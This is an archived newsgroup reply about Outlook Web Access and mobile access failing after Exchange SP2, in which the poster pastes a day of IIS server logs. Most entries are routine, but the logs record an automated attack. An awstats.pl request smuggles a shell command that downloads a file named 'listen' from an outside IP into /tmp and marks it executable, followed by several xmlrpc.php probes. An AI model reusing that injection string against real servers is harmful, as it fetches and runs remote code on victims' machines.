

RE: OWA and OMA fail after installing sp2 for Exchange

Source:

<http://www.tech-archive.net/Archive/Windows/microsoft.public.windows.server.sbs/2005-11/msg00792.html>

- *From:* djf <djf@xxxxxxxxxxxxxxxxxxxxxxxxxxxx>
 - *Date:* Wed, 9 Nov 2005 08:25:04 -0800
-

Brandy,

I created a new user account as you suggested but I get the same problem when I use it to log in. Outlook does work fine.

Here are today's IIS logs as you requested.

```
#Software: Microsoft Internet Information Services 6.0
#Version: 1.0
#Date: 2005-11-09 00:03:09
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port
cs-username c-ip cs(User-Agent) sc-status
2005-11-09 00:03:09 192.168.0.2 PROPFIND
/exchange-oma/user@xxxxxxxxx/NON_IPM_SUBTREE/Microsoft-Server-ActiveSync/PalmOneTreoAce/PLMO3
- 80 - 192.168.0.2 Microsoft-Server-ActiveSync/6.5.7638.1 401
#Software: Microsoft Internet Information Services 6.0
#Version: 1.0
#Date: 2005-11-09 00:36:41
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port
cs-username c-ip cs(User-Agent) sc-status
2005-11-09 00:36:41 192.168.0.2 PROPFIND
/exchange-oma/user@xxxxxxxxx/NON_IPM_SUBTREE/Microsoft-Server-ActiveSync/PalmOneTreoAce/PLMO3
- 80 - 192.168.0.2 Microsoft-Server-ActiveSync/6.5.7638.1 401
#Software: Microsoft Internet Information Services 6.0
#Version: 1.0
#Date: 2005-11-09 01:09:08
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port
cs-username c-ip cs(User-Agent) sc-status
2005-11-09 01:09:08 192.168.0.2 PROPFIND
/exchange-oma/user@xxxxxxxxx/NON_IPM_SUBTREE/Microsoft-Server-ActiveSync/PalmOneTreoAce/PLMO3
- 80 - 192.168.0.2 Microsoft-Server-ActiveSync/6.5.7638.1 401
#Software: Microsoft Internet Information Services 6.0
#Version: 1.0
#Date: 2005-11-09 06:32:16
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port
cs-username c-ip cs(User-Agent) sc-status
2005-11-09 06:32:16 192.168.0.2 GET /cgi-bin/awstats.pl
```

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```
configdir=|echo;echo%20YYYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%
80 - 192.168.0.2 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) 404
2005-11-09 06:32:16 192.168.0.2 GET /awstats/awstats.pl
configdir=|echo;echo%20YYYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%
80 - 192.168.0.2 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) 404
2005-11-09 06:32:16 192.168.0.2 GET /cgi-bin/awstats/awstats.pl
configdir=|echo;echo%20YYYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%
80 - 192.168.0.2 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) 404
2005-11-09 06:32:18 192.168.0.2 POST /xmlrpc.php - 80 - 192.168.0.2
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) 404
2005-11-09 06:32:19 192.168.0.2 POST /blog/xmlrpc.php - 80 - 192.168.0.2
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) 404
2005-11-09 06:32:20 192.168.0.2 POST /blog/xmlsrv/xmlrpc.php - 80 -
192.168.0.2 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) 404
2005-11-09 06:32:21 192.168.0.2 POST /blogs/xmlsrv/xmlrpc.php - 80 -
192.168.0.2 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) 404
2005-11-09 06:32:22 192.168.0.2 POST /drupal/xmlrpc.php - 80 - 192.168.0.2
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) 404
2005-11-09 06:32:23 192.168.0.2 POST /phpgroupware/xmlrpc.php - 80 -
192.168.0.2 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) 404
2005-11-09 06:32:24 192.168.0.2 POST /wordpress/xmlrpc.php - 80 -
192.168.0.2 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) 404
2005-11-09 06:32:25 192.168.0.2 POST /xmlrpc.php - 80 - 192.168.0.2
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) 404
2005-11-09 06:32:26 192.168.0.2 POST /xmlrpc/xmlrpc.php - 80 - 192.168.0.2
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) 404
2005-11-09 06:32:27 192.168.0.2 POST /xmlsrv/xmlrpc.php - 80 - 192.168.0.2
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) 404
#Software: Microsoft Internet Information Services 6.0
#Version: 1.0
#Date: 2005-11-09 09:20:33
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port
cs-username c-ip cs(User-Agent) sc-status
2005-11-09 09:20:33 192.168.0.2 GET /sumthin - 80 - 192.168.0.2 - 404
#Software: Microsoft Internet Information Services 6.0
#Version: 1.0
#Date: 2005-11-09 12:00:02
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port
cs-username c-ip cs(User-Agent) sc-status
2005-11-09 12:00:02 127.0.0.1 GET /monitoring/perf.aspx
reportMode=1&allHours=1 80 - 127.0.0.1 SBS+Http 401
2005-11-09 12:00:02 127.0.0.1 GET /monitoring/perf.aspx
reportMode=1&allHours=1 80 - 127.0.0.1 SBS+Http 401
2005-11-09 12:00:26 127.0.0.1 GET /monitoring/perf.aspx
reportMode=1&allHours=1 80 DOMAIN\SERVNAME$ 127.0.0.1 SBS+Http 200
#Software: Microsoft Internet Information Services 6.0
#Version: 1.0
#Date: 2005-11-09 12:49:27
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port
cs-username c-ip cs(User-Agent) sc-status
2005-11-09 12:49:27 192.168.0.2 GET /Default.htm - 80 - 192.168.0.2
```

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Mozilla/5.0+(compatible;+Konqueror/3.0-rc5;+i686+Linux;+20020123) 304
#Software: Microsoft Internet Information Services 6.0
#Version: 1.0
#Date: 2005-11-09 14:28:51
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port
cs-username c-ip cs(User-Agent) sc-status
2005-11-09 14:28:51 192.168.0.2 GET /exchange - 80 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1
302
2005-11-09 14:28:54 192.168.0.2 GET /Exchange - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1
401
2005-11-09 14:28:55 192.168.0.2 GET /exchweb/bin/auth/owalogon.asp
url=<https://servername.domain.com/Exchange&reason=0> 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1
200
2005-11-09 14:29:15 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/frm_mimepreviewpane.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1
200
2005-11-09 14:29:15 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/frm_attach.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1
200
2005-11-09 14:29:15 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/frm_composecdl.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1
200
2005-11-09 14:29:15 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/frm_composecontact.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1
200
2005-11-09 14:29:15 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/frm_composetask.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1
200
2005-11-09 14:29:15 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/frm_forwardmeeting.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1
200
2005-11-09 14:29:16 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/util_recipients.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1
200
2005-11-09 14:29:16 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/ctrl_reminder.htc - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1
200
2005-11-09 14:29:16 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/ctrl_notify.htc - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1

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200

2005-11-09 14:29:16 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/ctrl_poll.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:17 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/ctrl_reminder.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:17 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/ctrl_notify.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:17 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/ctrl_formatbar.htc - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:17 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/ctrl_formatbar.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:17 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/ctrl_mimeformatbar.htc - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:17 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/ctrl_mimeformatbar.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:18 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/frm_composeappt.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:18 192.168.0.2 GET /exchweb/6.5.7638.1/controls/dlg_anr.js

- 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:18 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/dlg_editname.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:18 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/vw_calendar.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:18 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/vw_contact.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:19 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/style-chs30.css - 443 - ###.###.###.###

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Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1000) 2005-11-09 14:29:19 192.168.0.2 GET /exchweb/6.5.7638.1/controls/style-cht30.css - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1000) 2005-11-09 14:29:19 192.168.0.2 GET /exchweb/6.5.7638.1/controls/style-jpn30.css - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1000) 2005-11-09 14:29:19 192.168.0.2 GET /exchweb/6.5.7638.1/controls/style-kor30.css - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1000) 2005-11-09 14:29:19 192.168.0.2 GET /exchweb/6.5.7638.1/controls/style-large30.css - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1000) 2005-11-09 14:29:19 192.168.0.2 GET /exchweb/6.5.7638.1/controls/ctrl_calendar.css - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1000) 2005-11-09 14:29:19 192.168.0.2 GET /exchweb/6.5.7638.1/controls/ctrl_calendarview.css - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1000) 2005-11-09 14:29:19 192.168.0.2 GET /exchweb/6.5.7638.1/controls/ctrl_calendar.htc - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1000) 2005-11-09 14:29:20 192.168.0.2 GET /exchweb/6.5.7638.1/controls/ctrl_calendar.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1000) 2005-11-09 14:29:20 192.168.0.2 GET /exchweb/6.5.7638.1/controls/ctrl_calendarview.htc - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1000) 2005-11-09 14:29:20 192.168.0.2 GET /exchweb/6.5.7638.1/controls/ctrl_calendarview.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1000) 2005-11-09 14:29:20 192.168.0.2 GET /exchweb/6.5.7638.1/controls/ctrl_calviewdaily.xml - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1000) 2005-11-09 14:29:20 192.168.0.2 GET /exchweb/6.5.7638.1/controls/util_calendar.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1000) 2005-11-09 14:29:20 192.168.0.2 GET

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/exchweb/6.5.7638.1/controls/util_calmessaging.htc - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200
2005-11-09 14:29:21 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/util_calmessaging.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200
2005-11-09 14:29:21 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/ctrl_datepicker.htc - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200
2005-11-09 14:29:21 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/ctrl_datepicker.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200
2005-11-09 14:29:21 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/ctrl_calendarviewprn.css - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200
2005-11-09 14:29:21 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/ctrl_calviewmonthly.xml - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200
2005-11-09 14:29:21 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/ctrl_calviewweekly.xml - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200
2005-11-09 14:29:23 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/ctrl_freebusy.css - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200
2005-11-09 14:29:23 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/ctrl_freebusy.htc - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200
2005-11-09 14:29:23 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/ctrl_freebusy.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200
2005-11-09 14:29:23 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/ctrl_tabpages.htc - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200
2005-11-09 14:29:23 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/ctrl_tabpages.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200
2005-11-09 14:29:23 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/dlg_editrule.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200

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2005-11-09 14:29:24 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/dlg_editsignature.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200

2005-11-09 14:29:24 192.168.0.2 GET /exchweb/6.5.7638.1/controls/dlg_gal.js
- 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200

2005-11-09 14:29:24 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/dlg_gallookup.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200

2005-11-09 14:29:24 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/dlg_movecopy.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200

2005-11-09 14:29:24 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/dlg_newfolder.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200

2005-11-09 14:29:24 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/dlg_options.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200

2005-11-09 14:29:24 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/dlg_recurrence.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200

2005-11-09 14:29:25 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/dlg_reminder.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200

2005-11-09 14:29:25 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/dlg_rules.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200

2005-11-09 14:29:25 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/dlg_spell.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200

2005-11-09 14:29:25 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/dlg_taskrecurrence.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200

2005-11-09 14:29:26 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/owaprint.css - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1
200

2005-11-09 14:29:26 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/vw_calendarpart.css - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

RE: OWA and OMA fail after installing sp2 for Exchange

200

2005-11-09 14:29:26 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/vw_calendarpart.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:26 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/vw_dumpster.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:26 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/vw_messagepart.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:26 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/vw_search.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:26 192.168.0.2 GET /exchweb/6.5.7638.1/controls/vw_task.js

- 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:27 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/vw_taskpart.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:27 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/dl_appointment.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:27 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/dl_composeapptrecurr.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:27 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/dl_composecommon.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:28 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/dl_composetaskrecurr.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:28 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/dl_contact.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:28 192.168.0.2 GET

/exchweb/6.5.7638.1/controls/dl_folderview.js - 443 - ###.###.###.###

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1

200

2005-11-09 14:29:28 192.168.0.2 GET /exchweb/6.5.7638.1/controls/dl_misc.js

- 443 - ###.###.###.###

RE: OWA and OMA fail after installing sp2 for Exchange

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1200
2005-11-09 14:29:28 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/dl_options.js - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1200
2005-11-09 14:29:28 192.168.0.2 GET /exchweb/6.5.7638.1/controls/dl_task.js
- 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1200
2005-11-09 14:29:28 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/owastyledl.css - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1200
2005-11-09 14:29:29 192.168.0.2 GET /exchweb/6.5.7638.1/controls/sps.css -
443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1200
2005-11-09 14:29:29 192.168.0.2 GET
/exchweb/6.5.7638.1/controls/tf_galfind.xml - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1200
2005-11-09 14:29:38 192.168.0.2 POST /exchweb/bin/auth/owaauth.dll - 443 -
###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1302
2005-11-09 14:30:09 192.168.0.2 GET /exchweb/bin/auth/owalogon.asp
url=<https://servername.domain.com/Exchange&reason=0> 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1440
#Software: Microsoft Internet Information Services 6.0
#Version: 1.0
#Date: 2005-11-09 15:10:34
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port
cs-username c-ip cs(User-Agent) sc-status
2005-11-09 15:10:34 192.168.0.2 GET /exchange - 80 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 302
2005-11-09 15:10:40 192.168.0.2 GET /Exchange - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 401
